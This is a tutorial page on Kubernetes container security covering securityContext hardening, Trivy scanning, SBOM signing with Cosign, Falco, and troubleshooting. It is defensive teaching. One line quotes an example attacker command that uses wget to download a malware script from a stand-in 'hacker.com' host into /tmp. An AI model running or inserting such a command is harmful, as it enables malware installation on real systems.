DevSecOps (Container Security)

Why this comes after the supply chain#

Scanning secured what you ship: the image is signed, its CVEs are known, and the pipeline refuses to publish it otherwise. None of that constrains what the container is allowed to do once the cluster starts it. A clean image running as root with the full capability set is a clean image with root on the node.

We have built a beautiful, highly-available, automated DevOps pipeline. But if you run an insecure Docker container in your Kubernetes cluster, a hacker will break in, escape the container, take over the Worker Node, and destroy your database.

DevSecOps is the practice of integrating security into every single step of the pipeline, rather than treating it as an afterthought.

In the capstone, these are the non-root, read-only, capability-dropped containers that admission enforces.

Level 1 — Beginner#

What is Container Security?#

Imagine you run a hotel (Kubernetes). A guest (a Docker Container) arrives.

• The Old Way: You trust the guest. You give them a master key to the hotel. They go into the kitchen, steal the food, and burn the hotel down.
• The DevSecOps Way: Before the guest arrives, you run a background check (Trivy Scan). When they arrive, you lock them in their room (Network Policies). You bolt the windows shut (Read-Only Filesystem), and you ensure they do not have a master key (Non-Root User).

Why do we need it?#

Attacks are automated. Bots scan public repositories for leaked credentials and sweep the internet continuously for reachable services, and once a CVE is public an exploit for it is often scripted within days. You are not being targeted personally; you are being enumerated along with everyone else.

Resist putting a number on how fast that happens — it depends entirely on what you exposed, to whom, and which vulnerability. The useful conclusion does not need one: anything reachable and unpatched is found by something that never sleeps, so the defence is not being obscure, it is not being vulnerable.

Level 2 — Intermediate#

Shift-Left Security#

Traditionally, developers wrote the code, QA tested it, and right before it went to Production, the Security Team audited it. If the Security Team found a flaw, the release was delayed by 3 weeks. Everyone hated the Security Team.

Shift-Left means moving security to the "left" of the pipeline (earlier in time).

1. We scan the code for passwords directly inside the developer's IDE before they even commit.
2. We scan the Docker image inside the Jenkins pipeline using Trivy. If a vulnerability is found, Jenkins instantly fails the build. The broken code never even makes it to ECR, let alone Kubernetes.

Principle of Least Privilege in Kubernetes#

By default, Docker containers run as root (the supreme administrator). This is incredibly dangerous. If a hacker exploits a bug in your Node.js app, they gain root access to the container.

In Kubernetes, we use a securityContext to strip these privileges away.

spec:
  securityContext:
    runAsNonRoot: true          # refuse to start at all if the image runs as root
    runAsUser: 10001
    fsGroup: 10001              # mounted volumes become group-writable by this GID
    seccompProfile:
      type: RuntimeDefault      # block the unusual syscalls a normal app never makes
  containers:
    - name: api
      image: ghcr.io/ivolve/api:1.4.0
      securityContext:
        allowPrivilegeEscalation: false   # no setuid path back up to root
        readOnlyRootFilesystem: true      # the image cannot be modified at runtime
        capabilities:
          drop: ["ALL"]                   # give back every Linux capability

Line by line, each of these closes a specific door:

• runAsNonRoot: true — a guarantee, not a request. If the image's USER is root, the Pod fails to start rather than quietly running privileged.
• allowPrivilegeEscalation: false — stops a process gaining more privileges than its parent, which is how most container escapes begin.
• readOnlyRootFilesystem: true — an attacker who achieves code execution cannot write a payload to disk. Applications that need scratch space get an emptyDir volume mounted at /tmp instead.
• capabilities: drop: ["ALL"] — Linux splits root's powers into ~40 capabilities. Almost every application needs none of them. Drop everything, then add back only what genuinely breaks (NET_BIND_SERVICE for a process that must listen below port 1024 — though changing the port is usually better).

Enforcing it cluster-wide. Setting this per Pod relies on everyone remembering. Pod Security Admission applies it at the namespace boundary:

kubectl label namespace production \
  pod-security.kubernetes.io/enforce=restricted

Any Pod that does not meet the restricted standard is now rejected on submission. Start with warn on an existing namespace to see what would break before you switch to enforce.

Practise: Kubernetes Security Hardening (NetworkPolicies) & HPA applies these controls to a running workload.

Level 3 — Advanced#

Analyzing the Actual Code (Line-by-Line Breakdown)#

Let's look at the kubernetes/base/api-deployment.yaml file to see how we lock down a container.

apiVersion: apps/v1
kind: Deployment
metadata:
  name: ivolve-api
  namespace: ivolve
spec:
  template:
    spec:
      serviceAccountName: ivolve-api
      automountServiceAccountToken: false
 
      securityContext:
        runAsNonRoot: true
        runAsUser: 10001
        runAsGroup: 10001
        fsGroup: 10001
        seccompProfile:
          type: RuntimeDefault
 
      containers:
        - name: ivolve-api
          image: ivolve-api:1.0.0
 
          securityContext:
            allowPrivilegeEscalation: false
            readOnlyRootFilesystem: true
            capabilities:
              drop: ["ALL"]
 
          volumeMounts:
            - name: tmp
              mountPath: /tmp
 
      # readOnlyRootFilesystem means the JVM needs a writable /tmp supplied
      # explicitly rather than inheriting the container's writable layer.
      volumes:
        - name: tmp
          emptyDir:
            sizeLimit: 256Mi

Line-by-Line Breakdown:

• runAsNonRoot: true: Kubernetes will strictly refuse to start this container if the Dockerfile says USER root. It enforces that developers write secure Dockerfiles.
• allowPrivilegeEscalation: false: This prevents a hacker from using the sudo command or exploiting setuid binaries to become root, even if they compromise the app.
• readOnlyRootFilesystem: true: This is the ultimate defense. Hackers rely on downloading malware (like a crypto-miner) into the server (wget http://hacker.com/malware.sh -O /tmp/malware.sh). With this setting, the entire hard drive is physically locked. The hacker cannot write a single byte of data to the disk.
• capabilities: drop: - ALL: The Linux Kernel has specific capabilities (like changing the system clock, or modifying network routes). By default, Docker grants some of these to containers. We drop absolutely all of them, making the container completely useless for anything except running the API.

Level 4 — Enterprise#

Supply Chain Attacks and Software Bill of Materials (SBOM)#

If you download an open-source library from NPM or Maven, how do you know the author wasn't hacked? A Supply Chain Attack occurs when a hacker poisons a popular open-source library. When you compile your app, you unknowingly bundle the malware.

To fight this, a US Executive Order required software sold to federal agencies to ship a Software Bill of Materials (SBOM), and the practice spread from there. An SBOM is a list of every dependency, sub-dependency and OS library inside your image.

In this pipeline, Trivy generates an SBOM in CycloneDX format and Cosign signs the image. An admission controller such as Kyverno or OPA Gatekeeper then verifies that signature before the image is allowed to run. If there is no valid signature from an identity you trust, the Pod is rejected — but only because you configured the admission controller to check. Signing on its own rejects nothing.

The three commands that implement that paragraph:

# 1. Generate the SBOM at build time and keep it as a build artifact
trivy image --format cyclonedx --output sbom.json ghcr.io/ivolve/api:1.4.0
 
# 2. Sign the image. Keyless signing uses the CI job's OIDC identity,
#    so there is no private key to store or leak. It is the default in
#    cosign v2 — older guides set COSIGN_EXPERIMENTAL=1, which was removed.
cosign sign ghcr.io/ivolve/api@sha256:abc123...
 
# 3. Verify before it runs — this is what the admission controller automates
cosign verify ghcr.io/ivolve/api@sha256:abc123... \
  --certificate-identity-regexp 'https://github.com/Waleeddarwesh/.*' \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com

Two details make this real rather than ceremonial:

• Sign the digest, never the tag. A tag can be repointed at a different image; @sha256:... names exactly one set of bytes. Signing :1.4.0 proves nothing, because :1.4.0 can be pushed again tomorrow.
• Verify identity, not just "a signature exists". The --certificate-identity-regexp flag is the substance of the check: it asserts the image was built by your pipeline. Without it you have only proved that somebody, somewhere, signed something.

An SBOM's real payoff arrives the day a CVE is announced in a library you have never heard of. The question "are we affected, and where?" becomes a search across stored SBOMs and takes minutes — instead of a week of asking every team what their images contain.

Image Scanning in Practice#

A scanner compares the packages inside an image against public vulnerability databases. Every image inherits its base image's vulnerabilities, so scanning is not about your code — it is about the 220 MB of operating system underneath it.

# Scan an image, and fail the build only on what you can act on
trivy image --severity HIGH,CRITICAL --exit-code 1 ghcr.io/ivolve/api:1.4.0
 
# Ignore findings with no fix available yet — they only create noise
trivy image --ignore-unfixed --severity HIGH,CRITICAL ghcr.io/ivolve/api:1.4.0
 
# Scan the Terraform and Kubernetes manifests too, not just the image
trivy config ./infrastructure

--exit-code 1 is what turns a report into a gate: the scanner returns non-zero, the pipeline stage fails, and the image never reaches the registry.

Where to scan — all three, for different reasons:

That third row is the one teams forget. An image that passed on Monday can be critically vulnerable on Friday without a single line changing, which is why ECR and Harbor rescan stored images on a schedule.

Reducing the surface instead of patching it. The most effective response to a long scan report is usually a smaller base image:

Distroless images contain your application and its runtime, and nothing else — no sh, no apt, no curl. There is less to patch, and an attacker who gets code execution finds no tools waiting for them. The trade-off is that kubectl exec gives you no shell, so debugging moves to ephemeral containers (kubectl debug).

Practise: Production-Grade Multi-Stage Dockerfile builds the non-root image all of this assumes.

Falco (Runtime Security)#

Trivy protects the container before it runs. What protects it while it runs? We use Falco (a CNCF project). Falco is a daemon that hooks directly into the Linux Kernel (via eBPF). It watches every single system call the container makes. If somebody runs kubectl exec into a production container and starts poking around, Falco sees the system calls and raises an alert within moments. Falco itself alerts; killing the Pod is the job of a response tool wired to those alerts, such as Falco Talon or a Falcosidekick handler. Think of it as the camera, with the response as a separate decision you make.

When it breaks#

Symptom → evidence → hypothesis → test → fix. Hardening breaks applications, and the breakages are predictable. Knowing them is the difference between hardening a workload and turning the controls back off.

container has runAsNonRoot and image will run as root#

Symptom. The Pod never starts, with that message in its events.

Evidence.

kubectl describe pod <pod> -n ivolve

Hypothesis. runAsNonRoot: true is a check, not an instruction. The kubelet refuses to start a container whose image would run as root, and it can only make that judgement from a numeric UID — an image whose USER is a name cannot be verified before it starts, so it is refused.

Test. docker inspect --format='{{.Config.User}}' myapp:latest shows what the image declares.

Fix. Set a numeric UID in the Dockerfile (USER 10001), or set runAsUser explicitly in the securityContext. Do not solve it by removing runAsNonRoot.

read-only file system at startup#

Symptom. The application starts and immediately fails writing to /tmp, a cache, or a log path.

Evidence. The error names the path.

Hypothesis. readOnlyRootFilesystem: true is doing exactly what it says. Most applications need somewhere writable, and the point is to choose where rather than to leave the whole filesystem writable.

Test. Reproduce it deliberately with --read-only under Docker before blaming Kubernetes.

Fix. Mount an emptyDir at each path the application genuinely writes to. The result is a container that can write to two directories instead of all of them, which is the entire objective.

The app cannot bind its port after dropping capabilities#

Symptom. permission denied binding port 80, once capabilities are dropped.

Evidence. The securityContext drops ALL, and the container listens below 1024.

Hypothesis. Binding a privileged port requires NET_BIND_SERVICE, which drop: [ALL] removed.

Test. Add the capability back temporarily and watch it start.

Fix. Listen on a high port instead — 8080 — and let the Service map 80 to it. Adding the capability back works and keeps a privilege you did not need; changing the port removes the requirement altogether. Prefer removing the requirement.

Interview Questions#

Beginner#

Q: Why shouldn't a Docker container run as root? A: If a hacker finds a vulnerability in your application and breaks in, they inherit the permissions of the user running the application. If the user is root, the hacker can install malware, alter files, or attempt a container-escape attack to take over the underlying host node.

Intermediate#

Q: What does the term "Shift-Left" mean in DevSecOps? A: It refers to moving security checks (like vulnerability scanning and static code analysis) to the earliest possible stages of the software development lifecycle (e.g., local IDEs, Git pre-commit hooks, and CI pipelines), rather than waiting for a QA or Security audit right before production deployment.

Senior#

Q: A developer complains that their application crashes on startup when you apply readOnlyRootFilesystem: true because the app needs to write temporary cache files to /tmp. How do you fix this securely? A: You do not remove readOnlyRootFilesystem: true. Instead, you provide a temporary, isolated writable space specifically for that folder by mounting an emptyDir volume backed by memory (tmpfs) to the /tmp path in the Pod specification. The rest of the OS remains strictly read-only.

Principal/Architect#

Q: Explain how eBPF is revolutionizing Kubernetes runtime security (e.g., using Falco or Tetragon) compared to traditional Sidecar-based security architectures. A: Traditional sidecar security requires injecting a proxy container into every single Pod. This consumes massive overhead (CPU/RAM per pod) and only has visibility into network traffic or specific application layers; it cannot easily see kernel-level file modifications or process executions. eBPF (Extended Berkeley Packet Filter) runs directly inside the Linux Kernel of the Worker Node. It safely executes sandbox programs on kernel events (like sys_execve or sys_open). Because it runs at the kernel level, a single eBPF agent on the Node has 100% visibility into every single system call made by every container on that Node, with near-zero performance overhead, making it impossible for user-space malware to hide from it. Contents | Zero-Trust (Network Policies) |